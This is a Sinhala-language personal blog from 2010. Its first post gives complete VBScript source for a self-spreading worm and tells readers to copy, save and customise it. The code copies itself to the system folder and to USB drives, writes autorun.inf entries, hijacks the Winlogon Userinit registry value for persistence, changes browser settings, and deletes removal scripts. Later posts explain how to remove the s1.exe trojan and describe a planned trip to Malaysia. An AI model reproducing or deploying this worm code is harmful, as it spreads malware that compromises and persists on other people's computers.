Thursday, March 11, 2010

Simple VBScript Virus Program

ගිය වතාවේ මම කිව්ව විදිහට අද කියලා දෙන්න යන්නේ vbScript වලින් කොහොමද සරල virus වැඩසටහනක් හදාගන්නේ කියලා.

Notepad වලදි පහලින් තියන coding එක type කරන්න

copy කරලා paste කරගත්තත් කමක් නෑ...



Option Explicit
On Error Resume Next

Dim Fso,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,root

Set Fso = CreateObject("Scripting.FileSystemObject")
Set Shells = CreateObject("Wscript.Shell")
Set WinDir = Fso.GetSpecialFolder(0)
Set SystemDir =Fso.GetSpecialFolder(1)
Set File = Fso.GetFile(WScript.ScriptFullName)
Set Drv = File.Drive
Set InDrive = Fso.drives
Set ReadAll = File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline
AllFile = AllFile & vbcrlf
Loop
Count=Drv.DriveType
Do
If Not Fso.FileExists(SystemDir & "\chiku2008.VBS") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\chiku2008.VBS",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\chiku2008.VBS")
WriteAll.Attributes = -1
End If
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","Chiku Sample Virus Programme"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.chikugossip.blogspot.com"
Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\chiku2008.VBS"
For Each Drives In InDrive
root = Drives.Path & "\"
If Fso.GetParentFolderName(WScript.ScriptFullName)=root Then
Shells.Run "explorer.exe " & root
End If
Set folder=Fso.GetFolder(root)
Set Delete = Fso.DeleteFile(SystemDir & "\killvbs.vbs",true)
For Each files In folder.Files
auto=Left(files.Name,7)
If UCase(auto)=UCase("VirusRemoval") Then
Set Delete = Fso.DeleteFile(root & files.Name,true)
End If
Next
If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
delext "vbs",WinDir & "\"
delext "vbs",Drives.Path & "\"
If Fso.FileExists(Drives.Path & "\VirusRemoval.vbs") Then
Fso.DeleteFile(Drives.Path & "\VirusRemoval.vbs")
End If
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\chiku2008.VBS") Then
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\chiku2008.VBS",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\chiku2008.VBS")
WriteAll.Attributes = -1
End If
If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe chiku2008.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe chiku2008.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
else
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[autorun]"
WriteAll.WriteLine "open=wscript.exe chiku2008.VBS"
WriteAll.WriteLine "shell\open=Open"
WriteAll.WriteLine "shell\open\Command=wscript.exe chiku2008.VBS"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End if
End If
End If
End if
End If
Next
if Count <> 1 then
Wscript.sleep 10000
end if
loop while Count<>1
sub delext(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
END IF
NEXT
END SUB


ඊට පස්සේ මේ file එක chiku2008.vbs කියලා save කරන්න

(නම දාන්න ඕන *.vbs කියලා.. හැබැයි code එක ඇතුලෙත් තැන් කීපයකම ඒ නම වෙනස් වෙන්න ඕන)
ඔය ගොල්ලන්ට කැමති කැමති විදිහ‍ට edit කරන්න පුලුවන්....
ඔයාලගෙ නම දාගත්තට මට කමක් නෑ..

හැබැයි ඕං මොනවා හරි උනොත් චිකුවා අල්ලන්න එපා හොදද?


මං ඊලග ද‍වසේ කියලා දෙන්නම් මේක කොහොමද වැඩකරන්නේ කියලා..‍

*******************************************************
(චිකුවා ගෙනි)

Wednesday, March 10, 2010

Get Rid Of S1.exe

හලෝ.. යාලුවනේ, කොහොමද ඔයාලට....

මට නම් මේ දවස්වල හරියට වැඩ.. කැම්පස් එකේ Exams නේ.

ඒත් ඉතිං මොනා කරන්නද? හැමවෙලාවෙම පාඩම් කරන්නත් බෑනේ. ඉතිං මං හිතුවා ගිය වතාවේ පොරොන්දු වෙච්චි විදිහට අර Virus එක අයින් කරගන්න විදිහ කියලා දෙන්න. ඒක හොදයි නේද?

Virus එක අයින් කරන්න කලින් මට හිතුනා ඒ Virus වැඩසටහන ගැන විස්තර ටිකක් කිව්වොතින් හොදයි කියලා.

S1.exe කියන්නේ Trojan(irc.lampsy trojan) වර්ගයේ පරිගණක Virus වැඩසටහනක්. මේ Virus වැඩසටහන ගොඩක් වෙලාවට ඉන්නේ තවත් Trojan වර්ගයේ පරිගණක Virus වැඩසටහන් කීපයක් එක්කලා.

උදාහරණයක් හැටියට herss.exe කියන්නේ ඒ වර්ගයේ වැඩසටහනක්.

අපි කොහොමද මේ Virus වැඩසටහන අපේ Computer එකේ තියනවා කියලා දැනගන්නේ?

1) Hidden Files View කරන්න බැරිද
2) Hard Disc Partitions/ Pen Drives / Memory Cards Open කරන්න යද්දී New Window එකකින් Open වෙනවාද
3) Windows XP මෙහෙයුම් පද්ධතිය මතදී නම් start -> Run -> ගිහින් msconfig කියලා type කරලා enter කරන්න. එතකොට එන Tab set එකේ StartUp කියන Tab එකේ තියන List එකේ herss කියලා එකක් තියෙනවාද.

එහෙම නම් s1.exe Virus වැඩසටහන ඔයාලගෙ Computer එකේ තියනවා කියලා සැක කරන්න පුලුවන්...

ඒ විතරක් නම් මදැයි,

%Temp%\herss.exe
%Temp%\cvasds0.dll (0-9)
X:\s1.exe
X:\autorun.inf

%Temp% = C:\Documents and Settings\[UserName]\Local Settings\Temp\
X:\ = C:\- Z:\ (හාඩ් ඩිස්ක් පාටිෂන්)

ඔය files ටිකත් create කරනවා.

තවත් Registry වගයකුත් Modify කරනවා.

HKLM\SOFTWARE\Classes\CLSID\MADOWN key එකක් Add කරනවා.

HKLM\SOFTWARE\Classes\CLSID\MADOWN\urlinfo: "dsdq1tl.l"
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
cdoosoft = %Temp%\herss.exe"

values add කරනවා.

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\ Folder\Hidden\SHOWALL\CheckedValue = 0x00000000

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\Hidden = 0x00000002

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\
Advanced\ShowSuperHidden = 0x00000000

කියන ඒවා Modify කරනවා.

දැන් ඉතින් තේරෙනවනේ කරන්න ඕන දේ.... නේද?

ඉස්සර වෙලාම කරන්න ඕන දේ තමයි Virus වැඩසටහන Process වෙන එක නවත්තන්න ඕන.(herss.exe)

ඒකට Task Manager (ctrl+alt+del ඔබන්න) ගිහිල්ලා නවත්වන එක.


ඊට පස්සේ Virus වැඩසටහන Create කරපු Files හොයලා Remove කරන එක.

msdos වලදී attrib -h -s -a -r c:\*.* ගහලා කරපුවහම පාටිෂන් එකේ s1.exe යි autorun.inf යි herss.exe යි බලාගන්න පුලුවන්. ඒ විදිහටම අනිත් පාටිෂන් වල තියන Virus වැඩසටහනට අදාල files බලාගන්න පුලුවන්.

මේ files delete කරගන්න ඔයාලට batch (msDos) file එකක් උනත් ලියාගන්න පුලුවන්.

@pause
attrib -h -s -a -r X:\*.*
del X:\s1.exe
del X:\herss.exe
del X:\autorun.inf
exit

(X:\ = C:\- Z:\ (හාඩ් ඩිස්ක් පාටිෂන්))
මේ ඔක්කොම වැඩ ටික පිළිවෙලට කරගත්තහම Virus වැඩසටහන ඔයාලගෙ Computer එකන් අයින් කරගන්න පුලුවන්.

සැයු
ඔයගොල්ලෝ System Registries එක්ක deal කරන්න දන්නේ නැතිනම් දන්න කෙනෙක් ලවා කරගත්තොත් හොදයි


ඊලග දවසේ මං ඔයාලට මම කියලා දෙන්නම් vbScript වලින් Virus වැඩසටහනක් හදාගන්නේ කොහොමද කියලා.
වැඩේ නම් හොදනෑ තමයි... ඒත් ඉතින් ඒක Educational Purpouse වලට විතරක් යොදාගන්නකෝ.

අදට ඇති........

*************** ඔබට තුති ****************
(චිකුවා ගෙනි)

Tuesday, March 9, 2010

My Dreams Of Flying

මම චිකු. ඔන්න චිකුවටත් බ්ලොගර් කෙනෙක් වෙන්න හිතිලා. මොකද අදකාලේ ගොඩක් අය බ්ලොග් ලියනවනේ. ඒකයි.

මේක මම නම් කරේ My Dreams Of Flying කියලා‍. මේක My dream is to fly
Over the rainbow so high (YVES LAROCK ) සිංදුවට නං කිසිම සම්බන්ධයක් නෑ ඕං....

මේකයි ඇත්ත කාරනේ. මමයි ‍මගෙ යාලුවො සෙට් එකයි සතියකට විතර Malaysia යන්න හිතුවා.

මොනවා උනත් අදහසට පංකාදු 5 1/2 ක් විතර දාලාදෙන්න පුලුවං....

කැම්පස් එකේ හාල් වෙලා හොදටම හෙම්බත් වෙලා ඉන්නේ. පොඩි(ඇත්තටම ලොකු)වෙනසකටත් එක්ක රට සවාරියක් යන්න තියනවනං හොදයි නේද?

මගෙ යාලුවො දෙන්නෙක්ම දැනට Tickets book කරලා තියෙන්නෙ.
අනේ මං මොකද කොරන්නෙ, මට තාම Passport නෑනෙ.

ඉතිං ඕං අද උදේම මං ගියා ඒක ගන්න. හිතුව තරම් අමාරැ උනේ නං නෑ. ඒත් ඒක ගෙදරට එන්න සතියක් විතර යයි කිව්වෙ.

ම් ම් ම් ..

අපේ ගමන තියෙන්නෙ ජුනි 21 ඉදන් ජුනි 27 වෙනකං.
මං ඒ ගමන ගිහිං ආවම Photos upload කරන්නංකො.

මං දැං කියන්නං මැලේසියාව ගැන ටිකක්.

මැලේසියාව නිරිතදිග ආසියාතික රටක්. ඒක වර්ග කිලෝමීටර් 329,845 ක් විතර ලොකුයිලු. Kuala Lumpur තමයි ඒ රටේ අගනගරය. ආ මට අමතක උනා කියන්න, මැලේසියාවේ මිනිස්සු මිලියන් 28ක් විතර ඉන්නවයි කියන්නෙ.

මැලේසියාව දකුණු චීන මුහුදෙන් කෑලි දෙකකට වෙන්වෙලා තියෙන්නෙ. ඒ මැලේසියානු අර්ධද්වීපය සහ නැගෙනහිර මැලේසියාව.

ම්. ම්. ම්.

මේ රට තායිලන්තයටයි, සිංගප්පූරැවටයි, ඉන්දුනීසියාවටයි, බෲනායි දේශයටයි මායිම් වෙලානෙ තියෙන්නෙ.

අනෙක් කාරනේ කමයි මැලේසියාව අපේ රට වගේම සමකයට ආසන්න රටක්. ඒ හින්දා එහෙ තියනව කියන්නෙ උෂ්ණ කලාපයට අයිති දේශගුණයක්. (විස්තර ගත්තේ Wikipedia එකෙන් හරිද)

ඔය ටික අදට හොදටම ඇති. මං ආයෙත් හම්බවෙන්නංකො.

මගෙ ‍Computer එකට ආපු s1.exe (irc.lampsy trojan) කියන වෛරසය(trojan) මං වෛරස් ගාඩ් එකක් නැතුව අයින් කරගත්තු විදිය ඔයගොල්ලන්ට කියලා දෙන්නම් ඊලග දවසේ.

එහෙනං ගිහින් එන්නද?
අදට බායි!!

************
චිකුවා ගෙනි